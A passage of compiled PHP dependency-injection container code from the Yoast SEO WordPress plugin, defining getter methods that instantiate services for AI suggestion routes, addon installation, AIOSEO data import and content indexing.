($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository'] ?? $this->getIntroductionsSeenRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Generator\User_Interface\Bust_Subscription_Cache_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Generator\User_Interface\Bust_Subscription_Cache_Route */ protected function getBustSubscriptionCacheRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Bust_Subscription_Cache_Route'] = new \Yoast\WP\SEO\AI_Generator\User_Interface\Bust_Subscription_Cache_Route(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\AI_Generator\User_Interface\Get_Suggestions_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Generator\User_Interface\Get_Suggestions_Route */ protected function getGetSuggestionsRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Suggestions_Route'] = new \Yoast\WP\SEO\AI_Generator\User_Interface\Get_Suggestions_Route(new \Yoast\WP\SEO\AI_Generator\Application\Suggestions_Provider(($this->services['Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler'] ?? $this->getConsentHandlerService()), ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler'] ?? $this->getRequestHandlerService()), ($this->services['Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager'] ?? $this->getTokenManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())))); } /** * Gets the public 'Yoast\WP\SEO\AI_Generator\User_Interface\Get_Usage_Route' shared autowired service. * * @return \Yoast\WP\SEO\AI_Generator\User_Interface\Get_Usage_Route */ protected function getGetUsageRouteService() { return $this->services['Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Usage_Route'] = new \Yoast\WP\SEO\AI_Generator\User_Interface\Get_Usage_Route(($this->services['Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager'] ?? $this->getTokenManagerService()), ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler'] ?? $this->getRequestHandlerService()), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\AI_HTTP_Request\Application\Request_Handler' shared autowired service. * * @return \Yoast\WP\SEO\AI_HTTP_Request\Application\Request_Handler */ protected function getRequestHandlerService() { return $this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler'] = new \Yoast\WP\SEO\AI_HTTP_Request\Application\Request_Handler(($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client'] ?? ($this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client'] = new \Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client())), new \Yoast\WP\SEO\AI_HTTP_Request\Application\Response_Parser()); } /** * Gets the public 'Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client' shared autowired service. * * @return \Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client */ protected function getAPIClientService() { return $this->services['Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client'] = new \Yoast\WP\SEO\AI_HTTP_Request\Infrastructure\API_Client(); } /** * Gets the public 'Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action */ protected function getAddonActivateActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action'] = new \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Activate_Action(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action */ protected function getAddonInstallActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action'] = new \Yoast\WP\SEO\Actions\Addon_Installation\Addon_Install_Action(($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Require_File_Helper'] = new \Yoast\WP\SEO\Helpers\Require_File_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Alert_Dismissal_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Alert_Dismissal_Action */ protected function getAlertDismissalActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] = new \Yoast\WP\SEO\Actions\Alert_Dismissal_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action */ protected function getFirstTimeConfigurationActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action'] = new \Yoast\WP\SEO\Actions\Configuration\First_Time_Configuration_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] ?? $this->getSocialProfilesHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action */ protected function getAioseoCleanupActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action(($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action */ protected function getAioseoCustomArchiveSettingsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Custom_Archive_Settings_Importing_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService())); $instance->set_import_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action */ protected function getAioseoDefaultArchiveSettingsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Default_Archive_Settings_Importing_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService())); $instance->set_import_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action */ protected function getAioseoGeneralSettingsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_General_Settings_Importing_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService())); $instance->set_import_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action */ protected function getAioseoPostsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper'] ?? $this->getIndexableToPostmetaHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service'] ?? $this->getAioseoSocialImagesProviderServiceService())); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action */ protected function getAioseoPosttypeDefaultsSettingsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posttype_Defaults_Settings_Importing_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService())); $instance->set_import_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action */ protected function getAioseoTaxonomySettingsImportingActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Taxonomy_Settings_Importing_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService())); $instance->set_import_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Helper'] = new \Yoast\WP\SEO\Helpers\Import_Helper()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action */ protected function getAioseoValidateDataActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Validate_Data_Action(($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] ?? $this->getAioseoCustomArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] ?? $this->getAioseoDefaultArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] ?? $this->getAioseoGeneralSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] ?? $this->getAioseoPosttypeDefaultsSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] ?? $this->getAioseoTaxonomySettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] ?? $this->getAioseoPostsImportingActionService())); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action */ protected function getDeactivateConflictingPluginsActionService() { $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] = $instance = new \Yoast\WP\SEO\Actions\Importing\Deactivate_Conflicting_Plugins_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper'] ?? $this->getImportCursorHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper'] = new \Yoast\WP\SEO\Helpers\Sanitization_Helper())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service())), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] ?? $this->getAioseoRobotsTransformerServiceService()), ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] = new \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service()))); $instance->set_aioseo_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action */ protected function getIndexableHeadActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action'] = new \Yoast\WP\SEO\Actions\Indexables\Indexable_Head_Action(($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action */ protected function getIndexableGeneralIndexationActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']; } return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_General_Indexation_Action($a); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action */ protected function getIndexableIndexingCompleteActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action */ protected function getIndexablePostIndexationActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']; } $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']; } return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), $a, ($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), $b); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action */ protected function getIndexablePostTypeArchiveIndexationActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']; } $b = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']; } return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Type_Archive_Indexation_Action($a, $b, ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action */ protected function getIndexableTermIndexationActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']; } return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] = new 